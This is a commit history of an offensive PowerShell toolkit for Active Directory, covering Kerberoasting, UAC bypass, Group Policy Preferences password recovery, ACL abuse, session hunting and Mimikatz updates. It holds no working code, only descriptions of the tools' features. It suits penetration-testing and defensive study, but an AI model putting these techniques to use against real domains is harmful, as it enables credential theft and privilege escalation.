275 Commits

Author SHA1 Message Date
harmj0y d943001a7d Updated README.md 2020-08-17 16:13:56 -07:00
HarmJ0y f94a5d298a swapped default kerberoasting output formats 2018-07-02 13:08:36 -04:00
HarmJ0y be932ce2be re-added -Domain to Get-DomainForeignUser/GroupMember 2017-11-12 13:28:17 -08:00
HarmJ0y 398b0f2246 -Redid the default DC bindserver logic for Get-DomainSearcher
-fixed Get-DomainForeignUser / Get-DomainForeignGroupMember when using a global catalog
    -target group/member domains are now extracted from found DN names
2017-10-29 17:44:25 -07:00
HarmJ0y 50e18ef8ab -changed default enumeration method for Get-DomainTrust to LDAP
-Added WhenCreated/WhenChanged as default output for Get-DomainTrust
2017-10-15 21:21:44 -07:00
HarmJ0y f6e6c09b8b Added mod to Get-DomainSPNTicket from @leechristensen to better parse tickets 2017-10-15 20:46:13 -07:00
HarmJ0y c5eb994f84 corrected verbose output for some PowerView functions 2017-09-17 12:55:10 -07:00
HarmJ0y fe7746f030 Added Remove-DomainObjectAcl 2017-09-17 12:53:21 -07:00
HarmJ0y 35452ce62f Fixed Kerberoasting output so it at least cracks now for john's new format change. 2017-09-17 12:11:06 -07:00
HarmJ0y a4a3ae5492 Fixed New-ADObjectAccessControlEntry so -PrincipalIdentity now accepts built-in sids. 2017-09-17 12:03:22 -07:00
Will 428d9061a4 Merge pull request #238 from hackjammer/dev
Improve output of Invoke-PrivescAudit
2017-09-17 14:27:25 -04:00
Will e24d64224b Merge pull request #243 from cfalta/master
Host parsing extension for IP ranges
2017-09-17 14:25:57 -04:00
Will 41cef58b75 Merge pull request #253 from davehull/dev
Adds dlls from knowndll paths to knowndlls
2017-09-17 14:25:04 -04:00
Will 1864095c2e Merge pull request #254 from andyrobbins/patch-1
Add Remove-DomainGroupMember function
2017-09-17 14:24:42 -04:00
Andy Robbins fcc35ac7e7 Add Remove-DomainGroupMember function
Add-DomainGroupMember allows for adding users to a group, and is especially useful given its ability to supply alternate credentials when establishing the connection to the DC. Remove-DomainGroupMember is intended to act as a "cleanup" function for attack paths that abuse DACL misconfigurations, where we need to remove a principal from a group after we are done abusing that group's existing permissions.
2017-09-17 10:40:55 -07:00
Dave Hull 0a894991dc Adds tolower() as it was dropping .DLL files in my local 2017-09-08 16:36:26 -05:00
Dave Hull 6eb3c6f281 Merge branch 'dev' of github.com:PowerShellMafia/PowerSploit into dev 2017-09-08 16:33:11 -05:00
Dave Hull bf652bcd26 Adds dlls from knowndll paths to knowndlls 2017-09-08 16:30:06 -05:00
b33f 3d0d32d9ee Path array fix for Get-ModifiablePath
This is a fix for:
https://github.com/PowerShellMafia/PowerSploit/issues/248
2017-08-10 22:05:41 +01:00
b33f 1950a169e3 +Version check fix
Changed version check to be of type "System.Version". This fixes:
https://github.com/PowerShellMafia/PowerSploit/issues/163
2017-08-09 21:15:34 +01:00
b33f b038f09ceb Typo fix 2017-07-22 17:04:44 +01:00
b33f d5c0abc9fa Fix for profile cleanup
When removing the persistence, the profile is not cleaned up. This is a temporary fix for that which should leave any legitemate profile content in tact. This psm may need a rework though.

Related to:
https://github.com/PowerShellMafia/PowerSploit/issues/165
2017-07-22 16:51:30 +01:00
b33f 7a3e16ace5 +Region check on Find-DomainLocalGroupMember
If a user does not manually specify $GroupName it defaults to "Administrators" which may not be valid in specific regions. I added a check to pull out the Group Name from the Admin SID, see:
https://github.com/PowerShellMafia/PowerSploit/issues/176
2017-07-22 14:33:20 +01:00
b33f 41cad0ee9f Fix for edge case where System.Core is not loaded
Make sure System.Core is loaded before creating an AES object. https://github.com/PowerShellMafia/PowerSploit/issues/247
2017-07-18 13:08:31 +01:00
b33f 0bbf86e021 Merge pull request #241 from byt3bl33d3r/dev
Fixed alias typo for Find-GPOComputerAdmin
2017-07-17 23:14:12 +01:00
b33f fc43eb8cb7 Typo fix 2017-07-17 23:11:24 +01:00
b33f e47c52a090 + PSv2 Compatibility
Fix for unable to index into object of type System.Diagnostic.Process on PSv2.
2017-07-17 21:32:22 +01:00
b33f b895866c3b + Invalid Cast Fix
This is a fix for https://github.com/PowerShellMafia/PowerSploit/issues/151
2017-07-17 21:26:04 +01:00
HarmJ0y 872f711e3d -Added the dynamic -UACFilter parameter that completes based on the $UACEnum enumeration
Example: Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED
        Returns users with kerberos preauth not set AND where the password isn't expired
-Integrated New-DynamicParameter from beatcracker in order to accomplish the dynamic params
-Corrected from help typos
2017-06-18 20:00:12 -04:00
HarmJ0y 7dc41b6fe4 For any "-Identity" values formatted as distinguishednames passed to Verb-Domain* functions,
the object's domain is now extracted from the dn and the directory searcher is rebound to the proper domain.
2017-06-17 21:23:11 -04:00
HarmJ0y 7e4d7ee298 Added Sacl enumeration to Get-DomainObjectACL 2017-06-17 01:33:05 -04:00
HarmJ0y d0e4e270f1 Convert-LDAPProperty now properly parses sidHistory with multiple values 2017-06-16 16:43:23 -04:00
HarmJ0y 035166385e -Added Get-DomainObjectAttributeHistory to retrieve attribute replication metadata from domain objects
-Added Get-DomainObjectLinkedAttributeHistory to retrieve linked attribute replication metadata from domain objects (i.e. group memberships)
-Added Get-DomainGroupMemberDeleted to retrieve information on group members that were removed from a specified group at some point
2017-06-13 19:47:33 -04:00
HarmJ0y 1bfe3a2715 Updated Find-DomainObjectPropertyOutlier approach. 2017-06-13 17:13:17 -04:00
byt3bl33d3r 6889a8efab Fixed alias typo for Find-GPOComputerAdmin 2017-05-31 00:28:52 -06:00
HarmJ0y d9e9231755 -Added negations to some -GroupScope and -GroupProperty values 2017-05-25 01:30:25 -04:00
HarmJ0y 783bff3cc0 -Added "-GroupScope [DomainLocal/Global/Universal]" to Get-DomainGroup
-Added "-GroupProperty [Security/Distribution/CreatedBySystem]" to Get-DomainGroup
2017-05-25 01:14:40 -04:00
HarmJ0y 30c5177e92 -added parsing of the 'useraccountcontrol' property into human readable format
-added parsing of the 'accountexpires' property into human readable format
-added parsing of the 'grouptype' property into human readable format
-added parsing of the 'samaccounttype' property into a readable format
2017-05-24 02:12:42 -04:00
HarmJ0y 786793c298 Merge branch 'dev' of github.com:PowerShellMafia/PowerSploit into dev 2017-05-24 01:36:56 -04:00
Will 0e2daae1b4 Merge pull request #236 from MrAnde7son/patch-3
Get-GPODelegation
2017-05-23 22:34:04 -07:00
HarmJ0y 67891871f6 Get-DomainPolicyData now returns proper object output instead of hashtable.
Modified Get-IniContent and Get-GptTmpl to accept '-OutputObject' to output a PSObject instead of a hashtable
2017-05-20 02:00:41 -04:00
HarmJ0y d12e1516f8 increased PowerUp error checking 2017-05-20 01:54:55 -04:00
HackJammer a78474aa5c Add Name alias to PowerUp object properties for easier parsing 2017-05-10 00:50:42 +01:00
HackJammer 52289768a9 Default Invoke-PrivEscAudit to return objects for parsing 2017-05-10 00:31:44 +01:00
HarmJ0y f8d2a3474b fixed quotes 2017-05-08 23:44:57 -04:00
James McGinnigle f9b95c5cf2 Fix build for import and run of Invoke-PrivescAudit 2017-05-07 16:32:55 +01:00
Itamar 6a71a6e526 Update PowerView.ps1
Fixed null access control entry in results.
2017-05-07 11:21:56 +03:00
Christoph Falta 226c1c1cce Host parsing extension for IP ranges
Small extension of the host parsing function so you can also pass ranges
(e.g 172.16.0.1-172.16.2.254) as target
2017-05-04 16:08:44 +02:00
Itamar 2501e8e912 Get-GPODelegation
Hi,
I know you guys mentioned this before, but I've not this implemented.
I wrote Get-GPODelegation that finds users with write permissions on Group Policy objects, for a potential privilege escalation path.
As requested, moved into dev branch.
2017-05-04 16:11:12 +03:00
HarmJ0y 095988269b Get-DomainGPO - fixed enumerations of 'enforced' GPOs, and
bug fix for nested OUs with similar starting names.
2017-04-28 00:56:52 -04:00
Will 27747f982c Merge pull request #233 from leechristensen/patch-5
Generalized ACE creation and added LDAP logonhours conversion
2017-04-27 21:39:49 -07:00
Lee Christensen fc04f97ecf Generalized ACE creation and added LDAP logonhours conversion
Added ConvertFrom-LDAPLogonHours and New-ADObjectAccessControlEntry
2017-04-27 00:30:27 -07:00
HarmJ0y 9f4e32e0f3 Renamed Get-DomainPolicy to Get-DomainPolicyData and generalized the
function to accept any policy.
2017-04-26 17:24:59 -04:00
Will 92e17e5331 Merge pull request #214 from mbrancato/dev
Fix for impersonation in Get-NetLocalGroup*
2017-04-26 14:10:47 -07:00
Will cfc0b647b1 Merge pull request #215 from api0cradle/master
Invoke-CompareAttributesForClass.ps1
2017-04-26 14:10:10 -07:00
Will 97382c215d Merge pull request #226 from joncave/dn_commas
Support for DNs containing commas
2017-04-26 14:08:32 -07:00
Will 0bbc9db5ab Merge pull request #227 from joncave/dfs_domain
The DFS subfunctions only accept a single $Domain
2017-04-26 14:08:01 -07:00
Will cb14cf11ab Merge pull request #231 from leechristensen/patch-4
Set explicit LDAP SecurityMasks settings
2017-04-26 14:06:25 -07:00
Lee Christensen 834a80fef3 Set explicit LDAP SecurityMask settings
Changed the LDAP SecurityMasks settings so that you can change the Owner/DACL if you only have WriteOwner/WriteDacl permissions on the object (Default SecurityMasks is "Owner, Group, Dacl")
2017-04-17 15:30:06 -07:00
Jon Cave 08b30627d9 Support for DNs containing commas
If an object's distinguished name contains a comma then it ends up quoted:

    CN=Smith\, John,OU=Admins,DC=example,DC=com

This breaks a number of functions which attempt to identify DOMAIN\name
by matching on a \ anywhere in the specified identity before checking if
the identity was a DN (or SID or GUID).

For example, attempting to list members of "Domain Admins" using
Get-DomainGroupMember gives the following:

    VERBOSE: [Convert-ADName] Error initializing translation for 'CN=Smith\, John,OU=Admins,DC=example,DC=com' : Exception calling "InvokeMember" with "5" argument(s): "The specified domain either does not exist or could not be contacted. (Exception from HRESULT: 0x8007054B)"
    VERBOSE: [Convert-ADName] Error translating 'CN=Smith\, John,OU=Admins,DC=example,DC=com' : The specified domain either does not exist or could not be contacted. (Exception from HRESULT: 0x8007054B)
    VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (objectClass=*)

The fix implemented here is to perform more specific pattern matching
prior to falling back to looking for a \. The order is SID, DN, GUID,
qualified name (DOMAIN\name), and then plain name.
2017-04-05 14:05:51 +01:00
Jon Cave f2a9cb2ecc The DFS subfunctions only accept a single $Domain
Specifying the type as an array of strings results in an error when
passing on the parameter to Get-DomainSearcher:

    C:\> Get-DomainDFSShare -Domain test
    Get-DomainSearcher : Cannot process argument transformation on parameter 'Domain'. Cannot convert value to type System.String.
    At PowerView.ps1:10242 char:46
2017-04-05 13:15:54 +01:00
b33f bd6fe64316 Cast DllCharacteristics to [Int]
Fix for System.InvalidCastException:
https://github.com/PowerShellMafia/PowerSploit/issues/152
2017-02-13 22:41:26 +00:00
Oddvar Moe c8cee6455a Added Invoke-CompareAttributesForClass.ps1 2017-01-23 07:12:23 +01:00
HarmJ0y 445f7b2510 Changed -KerberosPreauthNotRequired to -PreauthNotRequired 2017-01-16 23:52:19 -05:00
Mike Brancato 6927a26940 Fix for impersonation in Get-NetLocalGroup*
Removed unnecessary warning about the 'WinNT' method
Fixed Get-NetLocalGroup* to use impersonation - netapi32 functions weren't working.
2017-01-16 01:37:34 -05:00
Mike Brancato bda533d6d7 Merge pull request #1 from PowerShellMafia/dev
update local fork
2017-01-16 00:52:51 -05:00
HarmJ0y 454e04005d Standardized output from Find-InterestingDomainAcl 2017-01-11 20:39:57 -05:00
HarmJ0y ea60b0e0a4 Merge branch 'dev' of github.com:PowerShellMafia/PowerSploit into dev 2017-01-11 20:16:20 -05:00
HarmJ0y 510cba8bcd Added displayname to the default filter set for Get-DomainObject[ACL] 2017-01-11 20:16:01 -05:00
HarmJ0y 1dd560b371 Merge pull request #210 from leechristensen/patch-3
Fixed KerberosPreauthNotRequired
2017-01-11 16:16:25 -08:00
HarmJ0y 8a2e1daaa3 Parenthesis for additional LDAP functions 2017-01-11 19:04:56 -05:00
HarmJ0y fa1baa64a8 Parenthesis escaping for Get-DomainObject DN searches 2017-01-11 18:00:27 -05:00
HarmJ0y d4166f80d4 bug fix for Get-DomainObject/Get-DomainObjectACL 2017-01-11 15:55:35 -05:00
HarmJ0y 6c113b7956 Fixed bug in Convert-ADName that output an array including null values instead of a string 2017-01-11 14:03:46 -05:00
Lee Christensen e08432954e Fixed KerberosPreauthNotRequired 2017-01-11 08:09:49 -08:00
HarmJ0y ce19ebd9ed Merge branch 'dev' of github.com:PowerShellMafia/PowerSploit into dev 2017-01-10 18:32:07 -05:00
HarmJ0y 9ea5c5b7f5 Couple of fixes for Get-DomainSPNTicket 2017-01-10 18:31:30 -05:00
HarmJ0y e4b1930daa Merge pull request #207 from leechristensen/patch-3
Words :P
2017-01-09 22:34:41 -08:00
Lee Christensen aecb0b57a4 Words :P 2017-01-09 22:18:36 -08:00
HarmJ0y 215ec25da0 Bug fixes in Get-GPPPassword 2017-01-09 18:11:15 -05:00
HarmJ0y 3f7a32d623 Get-DomainSPNTicket/Invoke-Kerberoast now include 'real' user data in the hash output.
Added a bit more error handling when requesting the SPN kerberos ticket.
2017-01-08 22:28:51 -05:00
HarmJ0y 8552033242 Merge pull request #205 from mbrancato/dev
Fix errors gathering the forest SID
2017-01-07 18:20:56 -08:00
HarmJ0y 5500a7e131 Fix for issue #170
Added -SearchForest to search all reachable domain trust \SYSVOL\'s
Each password is now output as a separate object.
2017-01-07 20:32:14 -05:00
Mike Brancato d1060930c7 Fix errors gathering the forest SID
Pull the SID directly from the 'krbtgt' user to avoid errors in ConvertTo-SID
2017-01-04 23:23:25 -05:00
HarmJ0y 94438eda67 Replaced Invoke-WScriptUACBypass with @enigma0x3's Invoke-EventVwrBypass function 2016-12-21 00:41:51 -05:00
HarmJ0y 1118f53dc2 Added "-InformationClass Type" to Get-TokenInformation to enumerate token type and impersonation level
Added Get-ProcessTokenType to enumerate type/impersonation level of a specified process
2016-12-21 00:35:38 -05:00
HarmJ0y 96ae5e3f61 type correction 2016-12-20 23:13:46 -05:00
HarmJ0y 1916464092 bug fix in Get-TokenInformation 2016-12-20 23:13:16 -05:00
HarmJ0y 9853900578 Type fix.
Added -TrustedToAuth to Get-DomainUser
2016-12-15 19:04:53 -05:00
HarmJ0y 831dde1268 Bug fix for the Find-DomainUserLocation bug fix :) 2016-12-15 12:45:18 -05:00
HarmJ0y 601ad0cf3f Logic bug fix in Get-DomainFileServer
-Domain bug fix in Find-DomainUserLocation stealth
2016-12-15 12:32:17 -05:00
HarmJ0y ad32d6c75b For ./Recon/ :
-(More) PSScriptAnalyzering
    -Tweaking of synopsis blocks in order to support platyPS
    -Code standardization
    -Generated docs
2016-12-14 19:23:28 -05:00
HarmJ0y 59e6f94e76 For ./ScriptModification/ :
-PSScriptAnalyzering
    -Tweaking of synopsis blocks in order to support platyPS
    -Code standardization
    -Generated docs
2016-12-14 18:50:58 -05:00
HarmJ0y 9ed26d65a8 removed whitespace 2016-12-14 18:25:15 -05:00
HarmJ0y cf444398ca For ./Persistence/ :
-PSScriptAnalyzering
    -Tweaking of synopsis blocks in order to support platyPS
    -Code standardization
    -Generated docs
2016-12-14 18:24:33 -05:00
HarmJ0y a81faf36a4 For ./Mayhem/ :
-PSScriptAnalyzering
    -Tweaking of synopsis blocks in order to support platyPS
    -Code standardization
    -Generated docs
2016-12-14 18:05:22 -05:00
HarmJ0y 1980f403ee For ./CodeExecution/ :
-PSScriptAnalyzering
    -Tweaking of synopsis blocks in order to support platyPS
    -Code standardization
    -Generated docs
2016-12-14 17:50:37 -05:00
HarmJ0y 7cdaa3c2d6 For ./Antivirus/ :
-PSScriptAnalyzering
    -Tweaking of synopsis blocks in order to support platyPS
    -Code standardization
    -Generated docs
2016-12-14 16:17:00 -05:00
HarmJ0y 85b374c05b -Fixes for PSScriptAnalyzer compatibility
-More error handling
2016-12-14 13:39:50 -05:00
HarmJ0y 07ccc07fc6 mods to Get-System for it to pass PSScriptAnalyzer 2016-12-14 13:10:37 -05:00
HarmJ0y 7964823e3f Added documentation for PowerUp 2016-12-14 11:53:29 -05:00
HarmJ0y 5da1774219 updated mkdocs.yml 2016-12-13 17:23:07 -05:00
HarmJ0y f00e3fc6c4 Added Set-DomainObjectOwner to modify an object's owner
Modified Convert-LDAPProperty to break out sections of ntsecuritydescriptor
2016-12-13 17:21:10 -05:00
HarmJ0y f4f5fb1460 Added Set-DomainUserPassword to reset a particular user's password.
Reformatted documentation.
2016-12-13 16:00:28 -05:00
HarmJ0y 813eab4a39 maybe now? 2016-12-12 22:18:16 -05:00
HarmJ0y b78f164440 someday I'll get this right... 2016-12-12 22:16:44 -05:00
HarmJ0y 9033f2f544 Another try at getting readthedocs.io working 2016-12-12 21:58:50 -05:00
HarmJ0y fb90773639 file extensions are important :) 2016-12-12 21:38:26 -05:00
HarmJ0y e956bf440f First commit of mkdocs.yml for readthedocs.io 2016-12-12 21:16:41 -05:00
HarmJ0y 0aaa23cd86 first take at platyPS doc generation 2016-12-12 21:05:08 -05:00
HarmJ0y 7f10db7827 Added spacing to prep for platyPS doc generation. 2016-12-12 21:00:43 -05:00
HarmJ0y 6aca12a956 Typo correction and Recon README.md update 2016-12-12 20:36:42 -05:00
HarmJ0y 32bd21e335 bug fix in Get-DomainSearcher 2016-12-12 19:02:26 -05:00
HarmJ0y 7c32bf69f3 -Complete ground-up rewrite of PowerView
-Lots of function cleanup/code rot removal and standardization
    -Additional options added to Get-DomainSearcher in order to support new param sets
    -Expanded parameter validation
    -XML help format standardized
    -PSScriptAnalyzer fixups- passes PS script analyzer now!
    -Nearly all functions should tag custom types to output objectsx
-Identity supported by all appropriate functions
-Transformed all filters to functions
-Expanded the formats for Convert-ADName
-Get-SPNTicket returns enc part automatically now, and Hashcat output format added
-Write-Verbose/Write-Warning/Throw messages now have the function name tagged in the message
-Verb-Domain* functions now all include a -FindOne function to return one result
-Get-DomainUserEvent now uses -XPathFilter for a massive speedup
-ALL Verb-Domain* (LDAP) functions now return full data objects (no more -FullData). Use -Properties for paring down.
-Lots of bug fixes
-"Required Dependencies" for each function completed
-Fixed logic bugs for -ComputerIdentity in Get-DomainGPO, now enumerates domain-linked GPOs as well
-Added -UserIdentity to Get-DomainGPO to enumerate GPOs applied to a given user identity

New function naming scheme with proper Verb-PrefixNoun syntax to better match the 'real' AD cmdlets:
    Verbs:
        Get     - retrieve full raw data sets
        Find    - 'find' specific data entries in a data set or execute threaded computer enumeration
        Add     - add a new object to a destination
        Set     - modify a given object
        Invoke  - lazy catch-all
    Prefixes now give an indication of the data source:
        Verb-DomainX    -   LDAP/.NET AD connections (e.g. Get-DomainUser)
        Verb-WMIX       -   Uses WMI for connections/enumeration of a specific host (e.g. Get-WMIRegLastLoggedOn)
        Verb-NetX       -   API access (e.g. Get-NetSession)
    Nouns have been renamed to be more descriptive
    Big gotcha:
        Get-NetLocalGroup - now returns local *groups* themselves
        Get-NetLocalGroupMember - returns local group *members* (old Get-NetLocalGroup)

-Parameter sets standardized - parameters shared as appropriate across functions
    -Identity -> replaces -UserName/-GroupName/etc. Accepts samAccountName, GUID, distinguishedName, SID
        -these can be used in tandem -> Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator"
    -Properties -> return only the specified properties (i.e. Get-DomainUser -Properties samAccountName,lastLogon
    -LDAPFilter replaces -Filter, -SearchBase replaces -ADSPath, -Server replaces -DomainController
    -ServerTimeLimit, -SearchScope, -Tombstone, -SecurityMasks added for most functions

All functions (as appropriate) now support -Credential:
    -Verb-Domain* (LDAP) functions use alternate creds for a DirectorySearcher through Get-DomainSearcher
    -COM methods (i.e. Convert-ADName) use appropriate initializations
    -Verb-WMI methods pass the -Credential through as appropriate
    -Verb-Net* (API) functions use Invoke-UserImpersonation/Invoke-RevertToSelf implicitly for token impersonation

Removed functions:
    Get-ComputerProperty, Get-UserProperty, Find-ComputerField, Find-UserField
    Get-NameField (translated to ValueFromPipelineByPropertyName calls)
    Invoke-DowngradeAccount - not used
    Add-NetUser - split into New-DomainUser/others
    Add-NetGroupUser - split into Add-DomainGroupMember/others
    New-GPOImmediateTask - inconsistent and better done manually
    Invoke-StealthUserHunter - combined into Find-DomainUserLocation
    Get-ExploitableSystem

Added helper functions:
    Get-PrincipalContext - helper to return a DirectoryServices.AccountManagement.PrincipalContext
    Get-ForestSchemaClass - returns the forest schema for a specified object class

Added exported functions:
    Add-RemoteConnection - 'mounts' a remote UNC path using WNetAddConnection2W
    Remove-RemoteConnection - 'unmounts' a remote UNC path using WNetCancelConnection2
    Invoke-UserImpersonation - creates a new "runas /netonly" type logon and impersonates the token in the current thread
    Invoke-RevertToSelf - reverts any token impersonation
    Invoke-Kerberoast - automates Kerberoasting
    Find-DomainObjectPropertyOutlier - finds user/group/computer objects in AD that have 'outlier' properties sets
    New-DomainUser - creates a new domain user
    New-DomainGroup - creates a new domain group
    Add-DomainGroupMember - adds a domain user (or group) to an existing domain group
    Get-NetLocalGroup - now returns local *groups* themselves
    Get-NetLocalGroupMember - returns local group *members* (old Get-NetLocalGroup)

Renamed functions (aliases created for old functions):
    Get-IPAddress -> Resolve-IPAddress
    Convert-NameToSid -> ConvertTo-SID
    Convert-SidToName -> ConvertFrom-SID
    Request-SPNTicket -> Get-DomainSPNTicket
    Get-DNSZone -> Get-DomainDNSZone
    Get-DNSRecord -> Get-DomainDNSRecord
    Get-NetDomain -> Get-Domain
    Get-NetDomainController -> Get-DomainController
    Get-NetForest -> Get-Forest
    Get-NetForestDomain -> Get-ForestDomain
    Get-NetForestCatalog -> Get-ForestGlobalCatalog
    Get-NetUser -> Get-DomainUser
    Get-UserEvent -> Get-DomainUserEvent
    Get-NetComputer -> Get-DomainComputer
    Get-ADObject -> Get-DomainObject
    Set-ADObject -> Set-DomainObject
    Get-ObjectAcl -> Get-DomainObjectAcl
    Add-ObjectAcl -> Add-DomainObjectAcl
    Invoke-ACLScanner -> Find-InterestingDomainAcl
    Get-GUIDMap -> Get-DomainGUIDMap
    Get-NetOU -> Get-DomainOU
    Get-NetSite -> Get-DomainSite
    Get-NetSubnet -> Get-DomainSubnet
    Get-NetGroup -> Get-DomainGroup
    Find-ManagedSecurityGroups -> Get-DomainManagedSecurityGroup
    Get-NetGroupMember -> Get-DomainGroupMember
    Get-NetFileServer -> Get-DomainFileServer
    Get-DFSshare -> Get-DomainDFSShare
    Get-NetGPO -> Get-DomainGPO
    Get-NetGPOGroup -> Get-DomainGPOLocalGroup
    Find-GPOLocation -> Get-DomainGPOUserLocalGroupMapping
    Find-GPOComputerAdmin -> Get-DomainGPOComputerLocalGroupMappin
    Get-LoggedOnLocal -> Get-RegLoggedOn
    Test-AdminAccess -> Invoke-CheckLocalAdminAccess
    Get-SiteName -> Get-NetComputerSiteName
    Get-Proxy -> Get-WMIRegProxy
    Get-LastLoggedOn -> Get-WMIRegLastLoggedOn
    Get-CachedRDPConnection -> Get-WMIRegCachedRDPConnection
    Get-RegistryMountedDrive -> Get-WMIRegMountedDrive
    Get-NetProcess -> Get-WMIProcess
    Invoke-ThreadedFunction -> New-ThreadedFunction
    Invoke-UserHunter -> Find-DomainUserLocation
    Invoke-ProcessHunter -> Find-DomainProcess
    Invoke-EventHunter -> Find-DomainUserEvent
    Invoke-ShareFinder -> Find-DomainShare
    Invoke-FileFinder -> Find-InterestingDomainShareFile
    Invoke-EnumerateLocalAdmin -> Find-DomainLocalGroupMember
    Get-NetDomainTrust -> Get-DomainTrust
    Get-NetForestTrust -> Get-ForestTrust
    Find-ForeignUser -> Get-DomainForeignUser
    Find-ForeignGroup -> Get-DomainForeignGroupMember
    Invoke-MapDomainTrust -> Get-DomainTrustMapping
2016-12-12 14:35:05 -05:00
HarmJ0y eae4695b13 PowerUp update:
-Standardized documentation, including adding output object types and required dependencies to all functions
-Added Get-ProcessTokenPrivilege to enumerate the current (or remote) process token privileges, replacing Get-CurrentUserTokenGroupSid
-Added Enable-Privilege to enable privileges using RtlAdjustPrivilege
-Added @enigma0x3's Invoke-WScriptUACBypass function
-Renamed Invoke-AllChecks to Invoke-PrivescAudit, added alias mapping
-Added tests for Get-ProcessTokenPrivilege, Enable-Privilege, and Invoke-WScriptUACBypass
-Renamed helper functions for consistency
-Passes PSScriptAnalyzer!
2016-12-12 14:25:20 -05:00
HarmJ0y c7985c9bc3 Merge pull request #202 from PowerShellMafia/dev
Dev
2016-12-12 11:09:24 -08:00
HarmJ0y 863699d97e typo fix for #179 2016-12-12 13:49:10 -05:00
HarmJ0y 031a7561c6 removed Pester test for non-exported Invoke-ThreadedFunction function 2016-12-12 13:30:07 -05:00
HarmJ0y 0939af5bb2 fixed little-endian encoding 2016-12-12 13:17:22 -05:00
HarmJ0y 422cd612f6 removed Set-MacAttribute Pester tests 2016-12-12 13:13:29 -05:00
HarmJ0y aa528b98c7 merge resolution 2016-12-01 21:40:05 -05:00
HarmJ0y 76447005f9 Merge pull request #200 from st3r30byt3/patch-2
Updated Get-ExploitableSystem
2016-12-01 21:32:47 -05:00
Antonio Quina 7b49e54eec Updated Get-ExploitableSystem
Removed *_netapi from Vista/2008 in Get-ExploitableSystem as they are not vulnerable
2016-12-01 09:19:54 +01:00
HarmJ0y 2403654410 Revert "Merge pull request #198 from st3r30byt3/patch-1"
This reverts commit 26a891b499, reversing
changes made to 262a260865.
2016-12-01 01:14:19 -05:00
HarmJ0y 26a891b499 Merge pull request #198 from st3r30byt3/patch-1
Updated Get-ExploitableSystem
2016-12-01 01:05:05 -05:00
HarmJ0y 67dab8651c Merge pull request #187 from Meatballs1/filter_getnetfileservers
Add disabled and present searches to get-netfileservers
2016-12-01 01:03:38 -05:00
HarmJ0y 520bf436ce Merge pull request #174 from Meatballs1/securitygroups
Retrieve Security groups by default
2016-12-01 01:03:11 -05:00
Antonio Quina b3e742a94e Updated Get-ExploitableSystem
Removed *_netapi from Vista/2008 in Get-ExploitableSystem as they are not vulnerable
2016-11-25 10:34:47 +01:00
Oddvar Moe de955ef270 Added Get-GPPAutologon.ps1 2016-11-21 20:16:02 +01:00
Matt Graeber 926979ad1a Updated to 2.1 20161029 OJ Edition
Address issue #190
2016-11-10 15:46:30 -08:00
Meatballs a70bbe6164 Add disabled and present searches to get-netfileservers 2016-11-01 14:11:44 +00:00
HarmJ0y 8c9c7c84fe Merge pull request #182 from monoxgas/dev
Service DACL false positive | Request-SPNTicket double hash
2016-09-26 17:44:55 -04:00
Nick Landers 8e41548e65 Break on ticket capture 2016-09-13 16:59:03 -06:00
Nick Landers 5ac6c919dd Service DACL false positive 2016-09-13 15:43:34 -06:00
HarmJ0y 5e2200bab7 Merge pull request #173 from joncave/user_polling
PowerView: Invoke-UserHunter -Poll
2016-09-06 13:45:45 -07:00
HarmJ0y 01a289e972 Merge pull request #180 from machosec/EncPartParam
Added the EncPart param to Request-SPNTicket
2016-09-06 13:01:45 -07:00
Matan Hart 432cc017ba Add the EncPart param to Request-SPNTicket
Adds the ability to return the encrypted part of the ticket. 
This portion is the encrypted data that can be brute-forced with Kerberoast/Hashcat/JtR
2016-08-25 12:27:15 +03:00
Meatballs 917a095a81 Modify dependent functions 2016-08-13 20:26:29 +01:00
Meatballs 462c6e83cb Retrieve Security groups by default 2016-08-13 20:21:23 +01:00
Jon Cave 9b365e82b1 Continuously collect output from background threads
The PowerShell.BeginInvoke<TInput, TOutput>(PSDataCollection<TInput>,
 PSDataCollection<TOutput>) method[1] is used to collect output from
each job into a buffer. This can be read whilst the jobs are still
running. Being able to return partial results is particularly useful for
long running background threads, such as Invoke-UserHunter -Poll.

PowerShell 2.0 doesn't play nicely with generic methods. The technique
described in [2] is used to allow this version of BeginInvoke() to be
used.

[1] https://msdn.microsoft.com/en-us/library/dd182440(v=vs.85).aspx
[2] http://www.leeholmes.com/blog/2007/06/19/invoking-generic-methods-on-non-generic-classes-in-powershell/
2016-08-13 12:14:35 +01:00
Jon Cave fda456338f Add a polling mode to Invoke-UserHunter
Repeatedly poll a set of target computers for user sessions. This could
be a useful technique for building a much better picture of current
sessions, but without having to communicate with every host.

The -Poll parameter is used to specify the duration for which polling
should occur. Each target computer is dedicated with a thread with
-Delay and -Jitter specifying how long to sleep between each session
enumeration attempt of an individual host.
2016-08-13 12:00:44 +01:00
HarmJ0y 869badc7f1 Merge pull request #168 from linuz/master
Added ability to specify domain controller to search (-Server parameter)
2016-07-19 12:55:22 -07:00
Dennis Maldonado 87630cac63 Added default value to parameter
Added default value to parameter and got rid of value check later in the code.

Added validation of -Server value to ensure it is not $Null or an empty string
2016-07-19 10:36:59 -05:00
Harmj0y 0cff698b35 Merge branch 'dev' of https://github.com/PowerShellMafia/PowerSploit into dev 2016-07-15 17:35:09 -04:00
Harmj0y 038adce56e type 2016-07-15 17:34:23 -04:00
Harmj0y b74e515198 Fix for issue #167 2016-07-15 17:33:04 -04:00
Matt Graeber 66c93f9317 Updated Invoke-Mimikatz to "2.1 alpha 20160711 (oe.eo) edition" 2016-07-15 14:28:55 -07:00
Matt Graeber fee3b4c642 #147 Bugfix: Invoke-Mimikatz
Invoke-Mimikatz was not not handling functions exported by ordinal.
Thank you @gentilkiwi for the suggested fix!
2016-07-15 14:28:55 -07:00
HarmJ0y 8d46d02099 Merge pull request #161 from joncave/batnewlines
PowerUp: Remove badly encoded new lines from .bat output
2016-07-15 14:14:21 -07:00
HarmJ0y e6391254d1 Merge pull request #160 from joncave/tokeninfo
PowerUp: Allocate enough space for TOKEN_GROUPS
2016-07-15 14:10:29 -07:00
HarmJ0y 28d118f987 Merge pull request #158 from joncave/groupsxml
PowerView: Fix Groups.xml parsing for multiple <Group>s
2016-07-15 14:07:42 -07:00
Dennis Maldonado 548b8864cf Added ability to specify domain controller to search (-Server parameter)
Added the ability for users to specify the domain controller that is searched, using the -Server parameter. The -Server parameter is optional and defaults to the user's current domain if not specified.
2016-06-30 08:46:08 -05:00
